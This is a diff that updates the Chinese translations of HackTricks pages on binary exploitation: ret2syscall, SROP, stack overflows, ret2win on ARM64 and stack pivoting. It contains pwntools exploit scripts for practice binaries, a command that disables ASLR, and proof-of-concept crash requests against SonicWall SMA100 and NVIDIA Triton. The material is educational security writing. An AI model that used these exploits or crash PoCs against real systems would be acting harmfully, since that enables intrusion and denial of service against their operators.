- 64 位,无 PIE,nx,BF canary,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||||
- 64 位,无 PIE,nx,BF canary,在某些内存中写入一个 ROP 以调用 `execve` 并跳转到那里。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,6 +4,7 @@
|
||||
|
||||
在以下内容中找到关于 arm64 的介绍:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
@ -12,6 +13,7 @@
|
||||
|
||||
我们将使用页面中的示例:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
@ -63,7 +65,7 @@ nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
通过之前的 gadgets,我们可以从栈中控制所有需要的寄存器,并使用 x5 跳转到第二个 gadget 以调用 syscall。
|
||||
通过之前的 gadgets,我们可以控制栈中的所有必要寄存器,并使用 x5 跳转到第二个 gadget 以调用 syscall。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,了解来自 libc 库的信息也允许进行 ret2libc 攻击,但让我们在当前示例中使用它。
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**`Sigreturn`** 是一个特殊的 **syscall**,主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 **signal handler** 处理信号,signal handler 是一个专门处理信号的函数。
|
||||
**`Sigreturn`** 是一个特殊的 **syscall**,主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 **signal handler** 处理信号,signal handler 是一个专门用于处理信号的函数。
|
||||
|
||||
在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的堆栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。
|
||||
在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。
|
||||
|
||||
有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从堆栈中弹出这些值**,有效地将 CPU 的寄存器重置为信号处理之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器(RSP)。
|
||||
有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从栈中弹出这些值**,有效地将 CPU 的寄存器重置为信号处理之前的状态。这包括指向当前栈顶的栈指针寄存器(RSP)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
|
||||
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到栈中的寄存器值**,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
|
||||
|
||||
注意这将是一种 **Ret2syscall** 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易:
|
||||
请注意,这将是一种 **Ret2syscall** 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易:
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
如果你感兴趣,这是存储在堆栈中的 **sigcontext 结构**,以便稍后恢复值(图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
如果你感兴趣,这是存储在栈中的 **sigcontext 结构**,以便稍后恢复值(图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
|
||||
## 示例
|
||||
|
||||
您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造了对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用:
|
||||
您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -90,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
检查[**此处的漏洞利用**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html),其中二进制文件已经调用了`sigreturn`,因此不需要使用**ROP**来构建。
|
||||
检查[**此处的漏洞**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html),其中二进制文件已经调用了`sigreturn`,因此不需要使用**ROP**来构建。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -134,7 +134,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64位,无relro,无canary,nx,无pie。简单的缓冲区溢出,利用`gets`函数,缺乏执行[**ret2syscall**](../rop-syscall-execv/index.html)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`,利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并在二进制空间中设置ESP。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。
|
||||
- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP用于赋予执行权限(memprotect)给放置shellcode的地方。
|
||||
|
||||
|
||||
@ -72,9 +72,9 @@ return 0;
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## 利用
|
||||
## Exploit
|
||||
|
||||
该利用利用了缓冲区溢出,返回到对 **`sigreturn`** 的调用,并准备堆栈以调用 **`execve`**,指向 `/bin/sh`。
|
||||
该漏洞利用缓冲区溢出返回到对 **`sigreturn`** 的调用,并准备堆栈以调用 **`execve`**,指向 `/bin/sh`。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -132,11 +132,11 @@ return 0;
|
||||
```
|
||||
## 利用
|
||||
|
||||
在**`vdso`**部分,可以在偏移量**`0x7b0`**找到对**`sigreturn`**的调用:
|
||||
在 **`vdso`** 部分,可以在偏移 **`0x7b0`** 找到对 **`sigreturn`** 的调用:
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
因此,如果泄露,可以**使用此地址访问`sigreturn`**,如果二进制文件没有加载它:
|
||||
因此,如果泄露,可以 **使用这个地址来访问 `sigreturn`**,如果二进制文件没有加载它:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -171,7 +171,7 @@ p.interactive()
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
为了绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
|
||||
要绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
@ -193,9 +193,9 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
|
||||
|
||||
> 注意:当二进制文件使用 **BTI** 编译时,每个有效间接分支目标的第一条指令是 `bti c`。链接器放置的 `sigreturn` 跳板已经包含正确的 BTI 着陆垫,因此该 gadget 可以从非特权代码中使用。
|
||||
|
||||
## 通过 `mprotect` 链接 SROP 和 ROP(枢轴)
|
||||
## 使用 ROP 链接 SROP(通过 `mprotect` 进行转移)
|
||||
|
||||
`rt_sigreturn` 让我们控制 *所有* 通用寄存器和 `pstate`。在 x86 上的一个常见模式是:1) 使用 SROP 调用 `mprotect`,2) 转向一个包含 shell-code 的新可执行栈。相同的想法在 ARM64 上也适用:
|
||||
`rt_sigreturn` 让我们控制 *所有* 通用寄存器和 `pstate`。在 x86 上的一个常见模式是:1) 使用 SROP 调用 `mprotect`,2) 转移到包含 shell-code 的新可执行栈。相同的思路在 ARM64 上也适用:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 `0x400000+0x100`。由于 **AArch64** 使用 *PC-relative* 地址,这通常比构建大型 ROP 链更方便。
|
||||
在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 `0x400000+0x100`。因为 **AArch64** 使用 *PC-relative* 地址,这通常比构建大型 ROP 链更方便。
|
||||
|
||||
## 内核验证、PAC 和 Shadow-Stacks
|
||||
|
||||
@ -217,9 +217,9 @@ Linux 5.16 引入了对用户空间信号帧的更严格验证(提交 `36f5a6c
|
||||
|
||||
`pwntools>=4.10` 会自动生成合规的帧,但如果您手动构建,请确保将 *reserved* 初始化为零,并在不需要的情况下省略 SVE 记录——否则 `rt_sigreturn` 将返回 `SIGSEGV` 而不是返回。
|
||||
|
||||
从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 **PAC** (*Pointer Authentication*) 和 **BTI**(`-mbranch-protection=standard`)。 *SROP* 本身不受影响,因为内核直接从构造的帧中覆盖 `PC`,绕过保存在栈上的经过认证的 LR;然而,任何 **后续的 ROP 链** 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。
|
||||
从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 **PAC** (*Pointer Authentication*) 和 **BTI**(`-mbranch-protection=standard`)。 *SROP* 本身不受影响,因为内核直接从构建的帧中覆盖 `PC`,绕过保存在栈上的经过认证的 LR;然而,任何 **后续 ROP 链** 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。
|
||||
|
||||
在 ARMv8.9 中引入的 Shadow-Call-Stacks(并且在 ChromeOS 1.27+ 中已启用)是一种编译器级的缓解措施,并且 *不* 干扰 SROP,因为没有执行返回指令——控制流由内核转移。
|
||||
在 ARMv8.9 中引入的 Shadow-Call-Stacks(并且在 ChromeOS 1.27+ 上已启用)是一种编译器级的缓解措施,并且 *不* 干扰 SROP,因为没有执行返回指令——控制流由内核转移。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是栈溢出
|
||||
## What is a Stack Overflow
|
||||
|
||||
一个 **栈溢出** 是一种漏洞,当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将 **覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
|
||||
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
|
||||
|
||||
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是 **存储在栈上的**。因此,攻击者将能够覆盖这些内容并 **控制程序的执行流**。
|
||||
这个覆盖的主要问题在于**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。
|
||||
|
||||
该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
|
||||
该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
|
||||
|
||||
一些常见的易受攻击的函数包括: **`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像 **`fgets`**、**`read` 和 `memcpy`** 这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
|
||||
一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像**`fgets`**、**`read` & `memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
|
||||
|
||||
例如,以下函数可能是脆弱的:
|
||||
```c
|
||||
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
寻找栈溢出的最常见方法是输入大量的 `A`(例如 `python3 -c 'print("A"*1000)')并期待出现 `Segmentation Fault`,这表明 **地址 `0x41414141` 被尝试访问**。
|
||||
|
||||
此外,一旦你发现存在栈溢出漏洞,你需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。
|
||||
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。
|
||||
|
||||
这样,就不需要手动计算控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
|
||||
这样,您就不需要手动找出控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
|
||||
|
||||
可以使用 **pwntools** 来实现这一点:
|
||||
```python
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... 技术
|
||||
|
||||
该技术是绕过前一种技术的主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib、ret2syscall...),通过滥用二进制中的现有指令来执行任意命令:
|
||||
该技术是绕过前一种技术主要保护的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib、ret2syscall...),通过滥用二进制中的现有指令最终执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -97,7 +97,7 @@ stack-shellcode/
|
||||
|
||||
### 现实世界示例:CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
一个很好的示例说明了为什么**`sscanf`永远不应该被信任来解析不可信的输入**,出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
|
||||
一个很好的示例,说明为什么**`sscanf`永远不应该被信任来解析不受信任的输入**,出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
|
||||
位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点:
|
||||
```c
|
||||
char version[3];
|
||||
@ -105,11 +105,11 @@ char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 第一个转换 (`%2s`) 安全地将 **两个** 字节存储到 `version` 中(例如,`"v1"`)。
|
||||
2. 第二个转换 (`%s`) **没有长度说明符**,因此 `sscanf` 将继续复制 **直到第一个 NUL 字节**。
|
||||
3. 因为 `endpoint` 位于 **栈** 上并且长度为 **0x800 字节**,提供一个超过 0x800 字节的路径会破坏缓冲区后面的所有内容 ‑ 包括 **栈金丝雀** 和 **保存的返回地址**。
|
||||
1. 第一个转换(`%2s`)安全地将**两个**字节存储到`version`中(例如,`"v1"`)。
|
||||
2. 第二个转换(`%s`)**没有长度说明符**,因此`sscanf`会继续复制**直到第一个NUL字节**。
|
||||
3. 因为`endpoint`位于**栈**上并且**长度为0x800字节**,提供一个超过0x800字节的路径会破坏缓冲区后面的所有内容 ‑ 包括**栈金丝雀**和**保存的返回地址**。
|
||||
|
||||
一个单行的概念证明足以在 **身份验证之前** 触发崩溃:
|
||||
一个单行的概念证明足以在**身份验证之前**触发崩溃:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
@ -118,7 +118,7 @@ requests.get(url, verify=False)
|
||||
```
|
||||
即使栈金丝雀会中止进程,攻击者仍然获得了一个**拒绝服务**原语(并且,通过额外的信息泄露,可能实现代码执行)。教训很简单:
|
||||
|
||||
* 始终提供一个**最大字段宽度**(例如`%511s`)。
|
||||
* 始终提供**最大字段宽度**(例如`%511s`)。
|
||||
* 优先选择更安全的替代方案,如`snprintf`/`strncpy_s`。
|
||||
|
||||
### 现实世界示例:CVE-2025-23310 & CVE-2025-23311(NVIDIA Triton推理服务器)
|
||||
@ -135,7 +135,7 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) 返回当前 HTTP 请求体的 **内部缓冲区段数**。
|
||||
2. 每个段会通过 `alloca()` 在 **栈** 上分配一个 **16-byte** 的 `evbuffer_iovec` – **没有任何上限**。
|
||||
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以强制请求被拆分成 **数十万个 6-byte 的块** (`"1\r\nA\r\n"`)。这使得 `n` 不断增长,直到栈耗尽。
|
||||
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以强制请求被拆分成 **数十万个 6-byte 的块** (`"1\r\nA\r\n"`)。这使得 `n` 无限制增长,直到栈耗尽。
|
||||
|
||||
#### 证明概念 (DoS)
|
||||
```python
|
||||
@ -177,7 +177,7 @@ struct evbuffer_iovec *v = v_vec.data();
|
||||
教训总结:
|
||||
* 永远不要使用攻击者控制的大小调用 `alloca()`。
|
||||
* 分块请求可以极大地改变服务器端缓冲区的形状。
|
||||
* 在内存分配中使用任何来自客户端输入的值之前,验证/限制该值。
|
||||
* 在内存分配中使用任何源自客户端输入的值之前,验证/限制该值。
|
||||
|
||||
## 参考文献
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
|
||||
### 使用 Pwntools 的 Python 利用
|
||||
|
||||
对于利用,我们将使用 **pwntools**,这是一个强大的 CTF 框架,用于编写利用脚本。利用脚本将创建一个有效负载,以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
|
||||
对于利用,我们将使用 **pwntools**,这是一个强大的 CTF 框架,用于编写利用脚本。利用脚本将创建一个有效载荷,以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -69,7 +69,7 @@ Python 脚本发送一个精心构造的消息,当被 `vulnerable_function`
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**(1 个半字节)获得正确的返回地址。
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**(1 个半字节)获得正确的返回地址。
|
||||
- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。
|
||||
|
||||
## 其他示例与参考
|
||||
@ -84,15 +84,15 @@ Python 脚本发送一个精心构造的消息,当被 `vulnerable_function`
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 位,无 ASLR,双小溢出,第一次溢出栈并增大第二次溢出的大小
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 位,relro,无金丝雀,nx,无 pie,格式字符串覆盖地址 `fflush` 为 `win` 函数(ret2win)
|
||||
- 32 位,relro,无金丝雀,nx,无 pie,格式字符串覆盖地址 `fflush` 为 `win` 函数 (ret2win)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
- 32 位,nx,其他无,部分覆盖 EIP(1 字节)以调用 `win` 函数
|
||||
- 32 位,nx,其他无,部分覆盖 EIP (1Byte) 调用 `win` 函数
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 位,nx,其他无,部分覆盖 EIP(1 字节)以调用 `win` 函数
|
||||
- 32 位,nx,其他无,部分覆盖 EIP (1Byte) 调用 `win` 函数
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建了一个缓冲区溢出,通过 ret2win 被利用。
|
||||
- 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建一个缓冲区溢出,通过 ret2win 被利用。
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 位,relro,无金丝雀,nx,pie。部分覆盖以调用 `win` 函数(ret2win)
|
||||
- 64 位,relro,无金丝雀,nx,pie。部分覆盖以调用 `win` 函数 (ret2win)
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64,PIE,给出一个 PIE 泄漏,`win` 函数实际上是两个函数,因此 ROP gadget 调用两个函数
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
@ -100,6 +100,7 @@ Python 脚本发送一个精心构造的消息,当被 `vulnerable_function`
|
||||
|
||||
## ARM64 示例
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
@ -4,11 +4,12 @@
|
||||
|
||||
在以下内容中找到关于 arm64 的介绍:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## 代码
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -37,7 +38,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
|
||||
此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
|
||||
|
||||
启动 gdb 和 gef,创建模式并使用它:
|
||||
启动 gdb 并使用 gef,创建模式并使用它:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
@ -53,9 +54,9 @@ pattern search $x30
|
||||
|
||||
**偏移量是 72 (9x48)。**
|
||||
|
||||
### 堆栈偏移选项
|
||||
### 栈偏移选项
|
||||
|
||||
首先获取存储 pc 寄存器的堆栈地址:
|
||||
首先获取存储 pc 寄存器的栈地址:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
@ -137,14 +138,14 @@ p.close()
|
||||
|
||||
您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。
|
||||
|
||||
## With PIE
|
||||
## 使用 PIE
|
||||
|
||||
> [!TIP]
|
||||
> 编译二进制文件 **时不要使用 `-no-pie` 参数**
|
||||
|
||||
### Off-by-2
|
||||
|
||||
在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到获胜函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
|
||||
在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
此技术利用操纵 **基指针 (EBP/RBP)** 的能力,通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
||||
此技术利用操控 **基指针 (EBP/RBP)** 的能力,通过对帧指针和 **`leave; ret`** 指令序列的仔细使用,链接多个函数的执行。
|
||||
|
||||
作为提醒,在 x86/x86-64 中 **`leave`** 等同于:
|
||||
```
|
||||
@ -37,21 +37,21 @@ ret
|
||||
- 一个 **`jmp esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着内联 shellcode。
|
||||
- 一个在可写内存中分阶段的 [**ROP**](../rop-return-oriented-programing/index.html) 链。
|
||||
|
||||
记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 **第二个伪 EBP**,并在第一次调用返回后保持控制。
|
||||
请记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 **第二个伪 EBP**,并在第一次调用返回后保持控制。
|
||||
|
||||
#### Off-By-One 利用
|
||||
|
||||
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,有一种变体。在这种情况下,存储要跳转的地址的内存位置必须与原始 EBP/RBP 共享前 3/5 个字节,以便 1 字节的覆盖可以重定向它。通常低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
|
||||
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,会使用一种变体。在这种情况下,存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前 3/5 个字节,以便 1 字节的覆盖可以重定向它。通常,低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
|
||||
|
||||
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部并执行最终的 ROP 链。
|
||||
